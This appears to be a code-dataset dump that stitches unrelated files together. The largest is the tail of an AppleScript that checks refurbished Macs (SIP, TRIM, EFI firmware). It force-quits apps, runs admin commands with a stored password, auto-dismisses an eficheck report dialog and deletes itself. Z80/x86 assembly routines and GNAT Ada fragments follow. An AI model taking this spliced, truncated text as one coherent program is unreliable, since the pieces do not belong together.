if ((do shell script "csrutil status") is not equal to "System Integrity Protection status: enabled.") then
set shouldReboot to true
try
try
activate
end try
try
do shell script "afplay /System/Library/Sounds/Basso.aiff"
end try
set shutDownDialogButton to " Shut Down "
set rebootDialogButton to " Reboot "
-- For some reason centered text with padding in a dialog button like this doesn't work as expected on Catalina
if (isCatalinaOrNewer) then
set shutDownDialogButton to "Shut Down "
set rebootDialogButton to "Reboot "
end if
display dialog "⚠️ System Integrity Protection IS NOT Enabled
‼️ System Integrity Protection (SIP) MUST be re-enabled.
❌ This Mac CANNOT BE SOLD until SIP is enabled.
👉 The SIP setting is stored in NVRAM.
🔄 To re-enable it, all you need to do is
reset the NVRAM by holding the
“Option+Command+P+R” key combo
while rebooting this Mac." buttons {shutDownDialogButton, rebootDialogButton} cancel button 1 default button 2 with title (name of me) with icon dialogIconName
on error
set shouldReboot to false
end try
try
set rebootOrShutdownNote to "when you next start up this Mac"
if (shouldReboot) then set rebootOrShutdownNote to "while this Mac reboots"
set rebootOrShutdown to "shut down"
if (shouldReboot) then set rebootOrShutdown to "reboot"
set rebootOrShutdownButton to "Shut Down Now"
if (shouldReboot) then set rebootOrShutdownButton to "Reboot Now"
try
activate
end try
display dialog "‼️ Remember to hold the
“Option+Command+P+R” key combo
" & rebootOrShutdownNote & "
until you hear at least 2 startup sounds.
🔄 This Mac will " & rebootOrShutdown & " in 15 seconds…" buttons rebootOrShutdownButton default button 1 with title (name of me) with icon dialogIconName giving up after 15
-- Quit all apps before rebooting or shutting down
try
tell application "System Events" to set listOfRunningApps to (short name of every application process where ((background only is false) and (short name is not "Finder") and (short name is not (name of me))))
if ((count of listOfRunningApps) > 0) then
try
repeat with thisAppName in listOfRunningApps
try
if (application thisAppName is running) then
with timeout of 1 second
tell application thisAppName to quit
end timeout
end if
end try
end repeat
end try
delay 3
try
tell application "System Events" to set listOfRunningApps to (short name of every application process where ((background only is false) and (short name is not "Finder") and (short name is not (name of me))))
repeat with thisAppName in listOfRunningApps
repeat 2 times
try
do shell script "pkill -f " & (quoted form of thisAppName)
end try
end repeat
end repeat
end try
end if
end try
if (shouldReboot) then
tell application "System Events" to restart with state saving preference
else
tell application "System Events" to shut down with state saving preference
end if
quit
delay 10
end try
end if
end try
set modelIdentifier to "UNKNOWN"
set currentEFIfirmwareVersion to "UNKNOWN-EFI-FIRMWARE-VERSION"
set shippedWithNVMeDrive to false
set needsTrimEnabled to false
set internalDriveIsNVMe to false
set isT2mac to false
set hardwareAndDriveInfoPath to tmpPath & "hardwareAndDriveInfo.plist"
repeat 30 times
try
do shell script "system_profiler -xml SPHardwareDataType SPiBridgeDataType SPSerialATADataType SPNVMeDataType > " & (quoted form of hardwareAndDriveInfoPath)
tell application "System Events" to tell property list file hardwareAndDriveInfoPath
repeat with i from 1 to (number of property list items)
set thisDataTypeProperties to (item i of property list items)
set thisDataType to ((value of property list item "_dataType" of thisDataTypeProperties) as string)
if (thisDataType is equal to "SPHardwareDataType") then
set hardwareItems to (first property list item of property list item "_items" of thisDataTypeProperties)
set shortModelName to ((value of property list item "machine_name" of hardwareItems) as string)
set modelIdentifier to ((value of property list item "machine_model" of hardwareItems) as string)
set currentEFIfirmwareVersion to ((first word of ((value of property list item "boot_rom_version" of hardwareItems) as string)) as string) -- T2 Mac's have boot_rom_version's like "1037.100.362.0.0 (iBridge: 17.16.14281.0.0,0)" but we only care about the first part.
set modelIdentifierNumber to (do shell script "echo " & (quoted form of modelIdentifier) & " | tr -dc '[:digit:],'")
set AppleScript's text item delimiters to ","
set modelNumberParts to (every text item of modelIdentifierNumber)
set modelIdentifierMajorNumber to ((item 1 of modelNumberParts) as number)
set modelIdentifierMinorNumber to ((last item of modelNumberParts) as number)
if (((shortModelName is equal to "iMac") and (modelIdentifierMajorNumber ≥ 18)) or ((shortModelName is equal to "MacBook") and (modelIdentifierMajorNumber ≥ 8)) or ((shortModelName is equal to "MacBook Pro") and (modelIdentifierMajorNumber ≥ 13)) or ((shortModelName is equal to "MacBook Air") and ((modelIdentifierMajorNumber ≥ 8) or ((modelIdentifierMajorNumber = 7) and (modelIdentifierMinorNumber = 1)))) or ((shortModelName is equal to "Mac mini") and (modelIdentifierMajorNumber ≥ 8)) or ((shortModelName is equal to "Mac Pro") and (modelIdentifierMajorNumber ≥ 7)) or (shortModelName is equal to "iMac Pro")) then set shippedWithNVMeDrive to true
else if (thisDataType is equal to "SPiBridgeDataType") then
try
set iBridgeItems to (first property list item of property list item "_items" of thisDataTypeProperties) -- Will just error for empty _items array when not a T1 or T2 Mac.
set iBridgeModelName to ((value of property list item "ibridge_model_name" of iBridgeItems) as string)
if (iBridgeModelName contains " T2 ") then set isT2mac to true
end try
else if ((thisDataType is equal to "SPSerialATADataType") or (thisDataType is equal to "SPNVMeDataType")) then
set sataItems to (property list item "_items" of thisDataTypeProperties)
repeat with j from 1 to (number of property list items in sataItems)
set thisSataController to (property list item j of sataItems)
set thisSataControllerName to ((value of property list item "_name" of thisSataController) as string)
if (thisSataControllerName does not contain "Thunderbolt") then
set thisSataControllerItems to (property list item "_items" of thisSataController)
repeat with k from 1 to (number of property list items in thisSataControllerItems)
try
set thisSataControllerItem to (property list item k of thisSataControllerItems)
set thisSataItemTrimSupport to "Yes" -- Default to Yes since drive may not be SSD and also don't want to get stuck in reboot loop if there's an error.
if (thisDataType is equal to "SPNVMeDataType") then
set internalDriveIsNVMe to true
set thisSataItemTrimSupport to ((value of property list item "spnvme_trim_support" of thisSataControllerItem) as string)
else
set thisSataItemMediumType to ((value of property list item "spsata_medium_type" of thisSataControllerItem) as string)
if (thisSataItemMediumType is equal to "Solid State") then set thisSataItemTrimSupport to ((value of property list item "spsata_trim_support" of thisSataControllerItem) as string)
end if
if (thisSataItemTrimSupport is not equal to "Yes") then
set needsTrimEnabled to true
exit repeat
end if
end try
end repeat
end if
if (needsTrimEnabled) then exit repeat
end repeat
end if
end repeat
end tell
exit repeat
on error
do shell script "rm -f " & (quoted form of hardwareAndDriveInfoPath) -- Delete incase User Canceled
delay 1 -- Wait and try again because it seems to fail sometimes when run on login.
end try
end repeat
do shell script "rm -f " & (quoted form of hardwareAndDriveInfoPath)
set bootFilesystemType to "apfs"
try
set bootFilesystemType to (do shell script ("bash -c " & (quoted form of "/usr/libexec/PlistBuddy -c 'Print :FilesystemType' /dev/stdin <<< \"$(diskutil info -plist /)\"")))
end try
if (isT2mac and (bootFilesystemType is not equal to "apfs")) then
try
activate
end try
try
do shell script "afplay /System/Library/Sounds/Basso.aiff"
end try
display alert "Since this Mac has a T2 Security Chip, macOS must be installed on an “APFS” formatted drive." message "Future macOS Updates will not be able to be installed on T2 Macs with macOS installed on a “Mac OS Extended (Journaled)” formatted drive." buttons {"Shut Down"} default button 1 as critical
tell application "System Events" to shut down with state saving preference
quit
delay 10
else if (internalDriveIsNVMe and (not shippedWithNVMeDrive)) then
try
activate
end try
try
do shell script "afplay /System/Library/Sounds/Basso.aiff"
end try
display dialog "This Mac has an NVMe internal drive installed, but it did not originally ship with an NVMe drive.
Since this Mac did not originally ship with an NVMe drive, it is not fully compatible with using an NVMe drive as its primary internal drive.
You MUST replace the internal drive with a non-NVMe (AHCI) drive before this Mac can be sold.
The EFI Firmware will never be able to be properly updated when our customers run system updates with an NVMe drive installed as the primary internal drive." buttons {"Shut Down"} default button 1 with title (name of me) with icon dialogIconName
tell application "System Events" to shut down with state saving preference
quit
delay 10
end if
repeat while (currentEFIfirmwareIsNotInAllowList)
try
activate
end try
try
do shell script "afplay /System/Library/Sounds/Basso.aiff"
end try
set updateFirmwareMesssage to "You should not normally see this alert since the EFI Firmware should have been updated during the installation process.
Although, it is possible to see this alert on first boot if this Mac's EFI Firmware is already newer than what shipped with this version of macOS and the EFI AllowList has not yet been updated from the internet.
If the EFI Firmware version listed above starts with a NUMBER, this is likely an issue of the EFI AllowList needing to be updated. If so, you should make sure you are connected to the internet and then click the “Check Again” button below.
If the EFI Firmware version listed above starts with a LETTER, or you continue seeing this alert after multiple attempts, please inform and deliver this Mac to Free Geek I.T. for further research."
set installationWasCloned to true
try
(((buildInfoPath & "Prepare OS Log.txt") as POSIX file) as alias)
set installationWasCloned to false
end try
if (installationWasCloned) then
set updateFirmwareMesssage to "YOU MUST reboot into the “Mac Test Boot” drive to update the EFI Firmware with “Firmware Checker”.
If you have already successfully updated the EFI Firmware with “Firmware Checker” and you are still seeing this alert, please inform and deliver this Mac to Free Geek I.T. for further research."
if (modelIdentifier is equal to "MacPro5,1") then
set updateFirmwareMesssage to "Unlike other Mac models, MacPro5,1 (Mid 2010 & Mid 2012) EFI Firmware cannot be updated by “Firmware Checker” in the “Mac Test Boot” drive.
YOU MUST manually update this Mac's EFI Firmware by using a full macOS 10.13 High Sierra installer, or by booting into Recovery Mode.
If you have already successfully updated the EFI Firmware and you are still seeing this alert, please inform and deliver this Mac to Free Geek I.T. for further research."
end if
end if
try
display dialog "macOS has reported that the current EFI Firmware (version " & currentEFIfirmwareVersion & ") IS NOT in the allowed list of EFI Firmware versions (the EFI AllowList).
The EFI Firmware or the EFI AllowList MUST be updated before this Mac can be sold.
" & updateFirmwareMesssage buttons {"Reboot", "Shut Down", "Check Again"} cancel button 2 default button 3 with title (name of me) with icon dialogIconName
if ((button returned of result) is not equal to "Reboot") then
set currentEFIfirmwareIsNotInAllowList to checkEFIfirmwareIsNotInAllowList()
if (not currentEFIfirmwareIsNotInAllowList) then
try
do shell script "afplay /System/Library/Sounds/Glass.aiff"
end try
end if
else
tell application "System Events" to restart with state saving preference
quit
delay 10
end if
on error
tell application "System Events" to shut down with state saving preference
quit
delay 10
end try
end repeat
if (needsTrimEnabled) then
try
activate
end try
display dialog "⚠️ This Mac has an internal SSD without TRIM enabled. ⚠️
👉 TRIM must be enabled for the internal SSD on on this Mac.
🚫 DON'T TOUCH ANYTHING WHILE TRIM IS ENABLING! 🚫
🔄 This Mac will reboot itself after TRIM has been enabled." with title "TRIM Must Be Enabled for Internal SSD" buttons {"OK, Enable TRIM"} default button 1 giving up after 15
set progress description to "🚧 TRIM is being enabled for the internal SSD on this Mac…"
set progress additional description to "
🚫 DON'T TOUCH ANYTHING WHILE TRIM IS ENABLING!
🔄 This Mac will reboot itself after TRIM has been enabled."
delay 0.2 -- Delay to make sure progress gets updated.
try
doShellScriptAsAdmin("echo 'y
y' | trimforce enable")
end try
else
if (modelIdentifier starts with "iMac12,") then
-- NOTE: DID NOT PRE-REQUEST "Safari" ACCESS ON LAUNCH, since it Safari is only automated for iMac12,Xs which only support up to High Sierra.
try
try
activate
end try
set highFansAlertReply to display alert "🔊 Can you hear the fans in this iMac running at high speeds?" message "
If this iMac had its hard drive replaced with one that does not have the proper temperature sensor, the fans will be running at full speed. To work around this issue, you can install “SSD Fan Control” to manage fan speeds through software.
If the hard drive was not replaced, and the fans are running high, there may be another issue with this iMac.
👉 ‼️ PLEASE CONSULT AN INSTRUCTOR BEFORE CONTINUING ‼️ 👈" buttons {"No, Just Close Alert", "Yes, Open “SSD Fan Control” Website"} cancel button 1 default button 2 as critical
if ((button returned of highFansAlertReply) is equal to "Yes, Open “SSD Fan Control” Website") then
tell application "Safari"
try
activate
end try
close every window without saving
end tell
tell application "System Events" to keystroke "n" using {shift down, command down} -- Open New Private Window
repeat 10 times
delay 1
tell application "Safari"
if ((count of windows) ≥ 1) then exit repeat -- Make sure New Private Window is Open
end tell
end repeat
tell application "System Events" to keystroke tab -- Tab to take focus out of address field
tell application "Safari"
set ssdFanControlWebsite to "https://exirion.net/ssdfanctrl/"
if (application "Safari" is not running) then
open location ssdFanControlWebsite
try
activate
end try
else
try
activate
end try
try
set URL of front document to ssdFanControlWebsite
on error
open location ssdFanControlWebsite
end try
end if
try
activate
end try
end tell
end if
end try
end if
try
((userLaunchAgentsPath as POSIX file) as alias)
on error
try
tell application "Finder" to make new folder at (path to library folder from user domain) with properties {name:"LaunchAgents"}
end try
end try
set demoHelperLaunchAgentPlistName to "org.freegeek.Free-Geek-Demo-Helper.plist"
set demoHelperUserLaunchAgentPlistPath to userLaunchAgentsPath & demoHelperLaunchAgentPlistName
set demoHelperUserLaunchAgentPlistContents to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>org.freegeek.Free-Geek-Demo-Helper</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/open</string>
<string>-n</string>
<string>-a</string>
<string>/Users/" & demoUsername & "/Applications/Free Geek Demo Helper.app</string>
</array>
<key>StandardOutPath</key>
<string>/dev/null</string>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>1800</integer>
</dict>
</plist>"
set needsToWriteDemoHelperPlistFile to false
try
((demoHelperUserLaunchAgentPlistPath as POSIX file) as alias)
set currentDemoHelperUserLaunchAgentPlistContents to (read (demoHelperUserLaunchAgentPlistPath as POSIX file))
if (currentDemoHelperUserLaunchAgentPlistContents is not equal to demoHelperUserLaunchAgentPlistContents) then
set needsToWriteDemoHelperPlistFile to true
try
do shell script "launchctl unload " & (quoted form of demoHelperUserLaunchAgentPlistPath)
end try
end if
on error
set needsToWriteDemoHelperPlistFile to true
try
tell application "Finder" to make new file at (userLaunchAgentsPath as POSIX file) with properties {name:demoHelperLaunchAgentPlistName}
end try
end try
try
-- Let Demo Helper know that it was launched by Setup so that it will always open QA Helper even if idle time is too short or time since boot is too long (which can happen on Big Sur because of Automation Guide).
doShellScriptAsAdmin("touch " & (quoted form of (buildInfoPath & ".fgSetupLaunchedDemoHelper")))
end try
if (needsToWriteDemoHelperPlistFile) then
try
set openedDemoHelperUserLaunchAgentPlistFile to open for access (demoHelperUserLaunchAgentPlistPath as POSIX file) with write permission
set eof of openedDemoHelperUserLaunchAgentPlistFile to 0
write demoHelperUserLaunchAgentPlistContents to openedDemoHelperUserLaunchAgentPlistFile starting at eof
close access openedDemoHelperUserLaunchAgentPlistFile
on error
try
close access (demoHelperUserLaunchAgentPlistPath as POSIX file)
end try
end try
try
do shell script "launchctl load " & (quoted form of demoHelperUserLaunchAgentPlistPath)
end try
else
try
-- For some reason, on Big Sur, apps are not opening unless we specify "-n" to "Open a new instance of the application(s) even if one is already running." All scripts have LSMultipleInstancesProhibited to this will not actually ever open a new instance.
do shell script "open -n -a '/Users/" & demoUsername & "/Applications/Free Geek Demo Helper.app'"
end try
end if
set demoHelperDidLaunch to false
repeat 10 times
try
if (application ("/Users/" & demoUsername & "/Applications/Free Geek Demo Helper.app") is running) then
set demoHelperDidLaunch to true
exit repeat
end if
end try
delay 1
end repeat
if (demoHelperDidLaunch) then
try
repeat while (application ("/Users/" & demoUsername & "/Applications/Free Geek Demo Helper.app") is running) -- Wait for Demo Helper to finish so that Setup and Demo Helper don't interfere with eachother.
delay 0.5
end repeat
end try
end if
do shell script ("launchctl unload " & (quoted form of fgSetupUserLaunchAgentPlistPath) & "; rm -f " & (quoted form of fgSetupUserLaunchAgentPlistPath))
try
set pathToMe to (POSIX path of (path to me))
if ((offset of ".app" in pathToMe) > 0) then
try
doShellScriptAsAdmin("tccutil reset All org.freegeek.Free-Geek-Setup; rm -rf " & (quoted form of pathToMe))
end try
end if
end try
end if
on error
try
if (freeGeekUpdaterExists) then
-- Wait for internet before launching Free Geek Updater to ensure that updates can be retrieved.
repeat 60 times
try
do shell script "ping -c 1 www.google.com"
exit repeat
on error
set progress additional description to "
📡 WAITING FOR INTERNET (Connect to Wi-Fi or Ethernet)…"
delay 5
end try
end repeat
-- For some reason, on Big Sur, apps are not opening unless we specify "-n" to "Open a new instance of the application(s) even if one is already running." All scripts have LSMultipleInstancesProhibited to this will not actually ever open a new instance.
do shell script "open -n -a '/Users/" & demoUsername & "/Applications/Free Geek Updater.app'"
end if
end try
end try
else
try
activate
end try
display alert "Cannot Run “" & (name of me) & "”" message "“" & (name of me) & "” must be installed at
“/Users/" & demoUsername & "/Applications/” and run from the “" & demoUsername & "” user account." buttons {"Quit"} default button 1 as critical
end if
on checkEFIfirmwareIsNotInAllowList()
set efiFirmwareIsNotInAllowList to false
set efiCheckOutputPath to (tmpPath & "efiCheckOutput.txt")
do shell script "defaults delete eficheck; rm -f " & (quoted form of efiCheckOutputPath)
try
set efiCheckPID to doShellScriptAsAdmin("/usr/libexec/firmwarecheckers/eficheck/eficheck --integrity-check > " & (quoted form of efiCheckOutputPath) & " 2>&1 & echo $!")
delay 1
set efiCheckIsRunning to ((do shell script ("ps -p " & efiCheckPID & " > /dev/null 2>&1; echo $?")) as number)
if (efiCheckIsRunning is equal to 0) then
repeat
try -- EFIcheck may open UserNotificationCenter with a "Your computer has detected a potential problem" alert if EFI Firmware is out-of-date.
if (application "/System/Library/CoreServices/UserNotificationCenter.app" is running) then
tell application "System Events" to tell application process "UserNotificationCenter"
repeat 60 times
set clickedDontSendButton to false
repeat with thisUNCWindow in windows
if ((count of buttons of thisUNCWindow) ≥ 3) then
repeat with thisUNCButton in (buttons of thisUNCWindow)
if (title of thisUNCButton is "Don’t Send") then
click thisUNCButton
set clickedDontSendButton to true
exit repeat
end if
end repeat
end if
end repeat
if (not clickedDontSendButton) then exit repeat
delay 0.5
end repeat
end tell
end if
end try
set efiCheckIsRunning to ((do shell script ("ps -p " & efiCheckPID & " > /dev/null 2>&1; echo $?")) as number)
delay 0.5
if (efiCheckIsRunning is not equal to 0) then exit repeat
end repeat
end if
end try
try
((efiCheckOutputPath as POSIX file) as alias)
set efiCheckOutput to (do shell script "cat " & (quoted form of efiCheckOutputPath))
if ((efiCheckOutput is not equal to "") and (efiCheckOutput does not contain "Bad CPU type") and (efiCheckOutput does not contain "system is not supported by eficheck") and ((efiCheckOutput does not contain "Primary allowlist version match found. No changes detected in primary hashes.") or ((efiCheckOutput contains "SEC Version") and (efiCheckOutput does not contain "SEC allowlist version match found. No changes detected in SEC hashes.")))) then
set efiFirmwareIsNotInAllowList to true
end if
end try
do shell script "rm -f " & (quoted form of efiCheckOutputPath)
return efiFirmwareIsNotInAllowList
end checkEFIfirmwareIsNotInAllowList
on doShellScriptAsAdmin(command)
-- "do shell script with administrator privileges" caches authentication for 5 minutes: https://developer.apple.com/library/archive/technotes/tn2065/_index.html#//apple_ref/doc/uid/DTS10003093-CH1-TNTAG1-HOW_DO_I_GET_ADMINISTRATOR_PRIVILEGES_FOR_A_COMMAND_
-- And, it takes reasonably longer to run "do shell script with administrator privileges" when credentials are passed vs without.
-- In testing, 100 iteration with credentials took about 30 seconds while 100 interations without credentials after authenticated in advance took only 2 seconds.
-- So, this function makes it easy to call "do shell script with administrator privileges" while only passing credentials when needed.
-- Also, from testing, this 5 minute credential caching DOES NOT seem to be affected by any custom "sudo" timeout set in the sudoers file.
-- And, from testing, unlike "sudo" the timeout DOES NOT keep extending from the last "do shell script with administrator privileges" without credentials but only from the last time credentials were passed.
-- To be safe, "do shell script with administrator privileges" will be re-authenticated with the credentials every 4.5 minutes.
-- NOTICE: "do shell script" calls are intentionally NOT in "try" blocks since detecting and catching those errors may be critical to the code calling the "doShellScriptAsAdmin" function.
if ((lastDoShellScriptAsAdminAuthDate is equal to 0) or ((current date) ≥ (lastDoShellScriptAsAdminAuthDate + 270))) then -- 270 seconds = 4.5 minutes.
set commandOutput to (do shell script command user name adminUsername password <PASSWORD> with administrator privileges)
set lastDoShellScriptAsAdminAuthDate to (current date)
else
set commandOutput to (do shell script command with administrator privileges)
end if
return commandOutput
end doShellScriptAsAdmin
|
libsrc/_DEVELOPMENT/arch/zx/bifrost_h/c/sdcc/BIFROSTH_fillTileAttrH_callee.asm | teknoplop/z88dk | 0 | 241769 | ; ----------------------------------------------------------------
; Z88DK INTERFACE LIBRARY FOR THE BIFROST* ENGINE - RELEASE 1.2/L
;
; See "bifrost_h.h" for further details
; ----------------------------------------------------------------
; void void BIFROSTH_fillTileAttrH(unsigned int lin,unsigned int col,unsigned int attr)
; callee
SECTION code_clib
SECTION code_bifrost_h
PUBLIC _BIFROSTH_fillTileAttrH_callee
EXTERN asm_BIFROSTH_fillTileAttrH
_BIFROSTH_fillTileAttrH_callee:
pop hl ; RET address
pop bc ; C=lin
pop de ; E=col
ld d,c ; D=lin
pop bc ; C=attrib
push hl
jp asm_BIFROSTH_fillTileAttrH ; execute 'fill_tile_attr'
|
llvm-gcc-4.2-2.9/gcc/ada/elists.ads | vidkidz/crossbridge | 1 | 28589 | <reponame>vidkidz/crossbridge<filename>llvm-gcc-4.2-2.9/gcc/ada/elists.ads<gh_stars>1-10
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- E L I S T S --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2005, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package provides facilities for manipulating lists of nodes (see
-- package Atree for format and implementation of tree nodes). Separate list
-- elements are allocated to represent elements of these lists, so it is
-- possible for a given node to be on more than one element list at a time.
-- See also package Nlists, which provides another form that is threaded
-- through the nodes themselves (using the Link field), which is more time
-- and space efficient, but a node can be only one such list.
with Types; use Types;
with System;
package Elists is
-- An element list is represented by a header that is allocated in the
-- Elist header table. This header contains pointers to the first and
-- last elements in the list, or to No_Elmt if the list is empty.
-- The elements in the list each contain a pointer to the next element
-- and a pointer to the referenced node. Putting a node into an element
-- list causes no change at all to the node itself, so a node may be
-- included in multiple element lists, and the nodes thus included may
-- or may not be elements of node lists (see package Nlists).
procedure Initialize;
-- Initialize allocation of element list tables. Called at the start of
-- compiling each new main source file. Note that Initialize must not be
-- called if Tree_Read is used.
procedure Lock;
-- Lock tables used for element lists before calling backend
procedure Tree_Read;
-- Initializes internal tables from current tree file using the relevant
-- Table.Tree_Read routines. Note that Initialize should not be called if
-- Tree_Read is used. Tree_Read includes all necessary initialization.
procedure Tree_Write;
-- Writes out internal tables to current tree file using the relevant
-- Table.Tree_Write routines.
function Last_Elist_Id return Elist_Id;
-- Returns Id of last allocated element list header
function Elists_Address return System.Address;
-- Return address of Elists table (used in Back_End for Gigi call)
function Num_Elists return Nat;
-- Number of currently allocated element lists
function Last_Elmt_Id return Elmt_Id;
-- Returns Id of last allocated list element
function Elmts_Address return System.Address;
-- Return address of Elmts table (used in Back_End for Gigi call)
function Node (Elmt : Elmt_Id) return Node_Id;
pragma Inline (Node);
-- Returns the value of a given list element. Returns Empty if Elmt
-- is set to No_Elmt.
function New_Elmt_List return Elist_Id;
-- Creates a new empty element list. Typically this is used to initialize
-- a field in some other node which points to an element list where the
-- list is then subsequently filled in using Append calls.
function First_Elmt (List : Elist_Id) return Elmt_Id;
pragma Inline (First_Elmt);
-- Obtains the first element of the given element list or, if the
-- list has no items, then No_Elmt is returned.
function Last_Elmt (List : Elist_Id) return Elmt_Id;
pragma Inline (Last_Elmt);
-- Obtains the last element of the given element list or, if the
-- list has no items, then No_Elmt is returned.
function Next_Elmt (Elmt : Elmt_Id) return Elmt_Id;
pragma Inline (Next_Elmt);
-- This function returns the next element on an element list. The argument
-- must be a list element other than No_Elmt. Returns No_Elmt if the given
-- element is the last element of the list.
procedure Next_Elmt (Elmt : in out Elmt_Id);
pragma Inline (Next_Elmt);
-- Next_Elmt (Elmt) is equivalent to Elmt := Next_Elmt (Elmt)
function Is_Empty_Elmt_List (List : Elist_Id) return Boolean;
pragma Inline (Is_Empty_Elmt_List);
-- This function determines if a given tree id references an element list
-- that contains no items.
procedure Append_Elmt (Node : Node_Id; To : Elist_Id);
-- Appends Node at the end of To, allocating a new element
procedure Prepend_Elmt (Node : Node_Id; To : Elist_Id);
-- Appends Node at the beginning of To, allocating a new element
procedure Insert_Elmt_After (Node : Node_Id; Elmt : Elmt_Id);
-- Add a new element (Node) right after the pre-existing element Elmt
-- It is invalid to call this subprogram with Elmt = No_Elmt.
procedure Replace_Elmt (Elmt : Elmt_Id; New_Node : Node_Id);
pragma Inline (Replace_Elmt);
-- Causes the given element of the list to refer to New_Node, the node
-- which was previously referred to by Elmt is effectively removed from
-- the list and replaced by New_Node.
procedure Remove_Elmt (List : Elist_Id; Elmt : Elmt_Id);
-- Removes Elmt from the given list. The node itself is not affected,
-- but the space used by the list element may be (but is not required
-- to be) freed for reuse in a subsequent Append_Elmt call.
procedure Remove_Last_Elmt (List : Elist_Id);
-- Removes the last element of the given list. The node itself is not
-- affected, but the space used by the list element may be (but is not
-- required to be) freed for reuse in a subsequent Append_Elmt call.
function No (List : Elist_Id) return Boolean;
pragma Inline (No);
-- Tests given Id for equality with No_Elist. This allows notations like
-- "if No (Statements)" as opposed to "if Statements = No_Elist".
function Present (List : Elist_Id) return Boolean;
pragma Inline (Present);
-- Tests given Id for inequality with No_Elist. This allows notations like
-- "if Present (Statements)" as opposed to "if Statements /= No_Elist".
function No (Elmt : Elmt_Id) return Boolean;
pragma Inline (No);
-- Tests given Id for equality with No_Elmt. This allows notations like
-- "if No (Operation)" as opposed to "if Operation = No_Elmt".
function Present (Elmt : Elmt_Id) return Boolean;
pragma Inline (Present);
-- Tests given Id for inequality with No_Elmt. This allows notations like
-- "if Present (Operation)" as opposed to "if Operation /= No_Elmt".
end Elists;
|
programs/oeis/001/A001576.asm | karttu/loda | 1 | 97295 | ; A001576: a(n) = 1^n + 2^n + 4^n.
; 3,7,21,73,273,1057,4161,16513,65793,262657,1049601,4196353,16781313,67117057,268451841,1073774593,4295032833,17180000257,68719738881,274878431233,1099512676353,4398048608257,17592190238721,70368752566273,281474993487873,1125899940397057,4503599694479361
mov $2,2
pow $2,$0
mov $0,$2
mul $0,$2
add $0,$2
mov $1,$0
add $1,1
|
oeis/176/A176454.asm | neoneye/loda-programs | 11 | 7462 | ; A176454: Decimal expansion of (12+2*sqrt(42))/3.
; Submitted by <NAME>
; 8,3,2,0,4,9,3,7,9,8,9,3,8,5,7,3,4,8,7,3,1,0,6,4,4,9,5,7,3,9,1,9,9,7,7,7,1,8,0,3,4,6,9,5,3,8,0,3,8,8,9,7,6,9,9,8,0,7,5,6,9,5,9,8,5,3,9,7,4,4,9,1,8,5,6,2,6,9,6,2,4,7,6,0,0,2,4,0,6,0,4,4,0,3,7,4,0,1,5,7
mov $2,1
mov $3,$0
mul $3,4
lpb $3
add $5,$2
add $5,$2
add $1,$5
mov $2,$5
add $2,$1
mul $2,3
sub $3,2
lpe
mov $1,4
add $1,$5
mul $1,2
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
hufbit.asm | dylancarlson/citplus | 1 | 717 | ; --------------------------------------------------------------------- ;
; hufbit.asm Acit 92Jun13 ;
; bit by bit string manipulations for huffman encoding ;
; --------------------------------------------------------------------- ;
ideal
model large, c
theChar = 0
right = 2
left = 6
ENCBUFSIZE = 8192
struc eds
nb dw ?
what dd ?
ends
public decode
dataseg
extrn bitsenc: word, htRoot: word
codeseg
proc decode uses si di, strofs:word, strseg:word
mov di, [htRoot]
mov ax, [htRoot+2]
mov es, ax
mov si, [bitsenc]
theLoop:mov ax,[es:di + left]
or ax,[es:di + left + 2]
jz noMore
push es
mov bx, [strseg]
mov es, bx
mov di, [strofs]
mov bx, si
and bx, 7
or bx, bx
jnz notFirstBit
; first bit of new byte - check for 0x27
mov bx, si
; shr bx, 3
shr bx, 1
shr bx, 1
shr bx, 1
mov dl, [es:di+bx]
cmp dl, 27
jne notFirstBit
add si, 8
inc bx
mov dl, [es:di+bx]
cmp dl, 1
jne not1
; got 27 1 sequence - make it 0
mov [byte ptr es:di+bx], 0
jmp short notFirstBit
not1: cmp dl, 2
jne not2
; got 27 2 sequence - make it 27
mov [byte ptr es:di+bx], 27
jmp short notFirstBit
not2: ; assume 27 3 sequence - make it 255
mov [byte ptr es:di+bx], 255
notFirstBit:
mov bx, si
; shr bx, 3
shr bx, 1
shr bx, 1
shr bx, 1
mov dl, [es:di+bx]
mov bx, si
and bx, 7
mov cl, 7
sub cl, bl
mov bl, 1
shl bl, cl
and dl, bl
inc si
mov al, dl
pop es
or al, al
jz goLeft
; go right
mov ax, [es:di + right + 2]
mov di, [es:di + right]
mov es, ax
jmp short theLoop
goLeft: mov ax, [es:di + left + 2]
mov di, [es:di + left]
mov es, ax
jmp theLoop
noMore: mov al, [es:di + theChar]
cbw
mov [bitsenc], si
ret
endp
end
|
.emacs.d/elpa/wisi-3.1.3/sal-gen_unbounded_definite_vectors-gen_image_aux.adb | caqg/linux-home | 0 | 11012 | <gh_stars>0
-- Abstract :
--
-- See spec.
--
-- Copyright (C) 2018 - 2019 <NAME> All Rights Reserved.
--
-- This library is free software; you can redistribute it and/or modify it
-- under terms of the GNU General Public License as published by the Free
-- Software Foundation; either version 3, or (at your option) any later
-- version. This library is distributed in the hope that it will be useful,
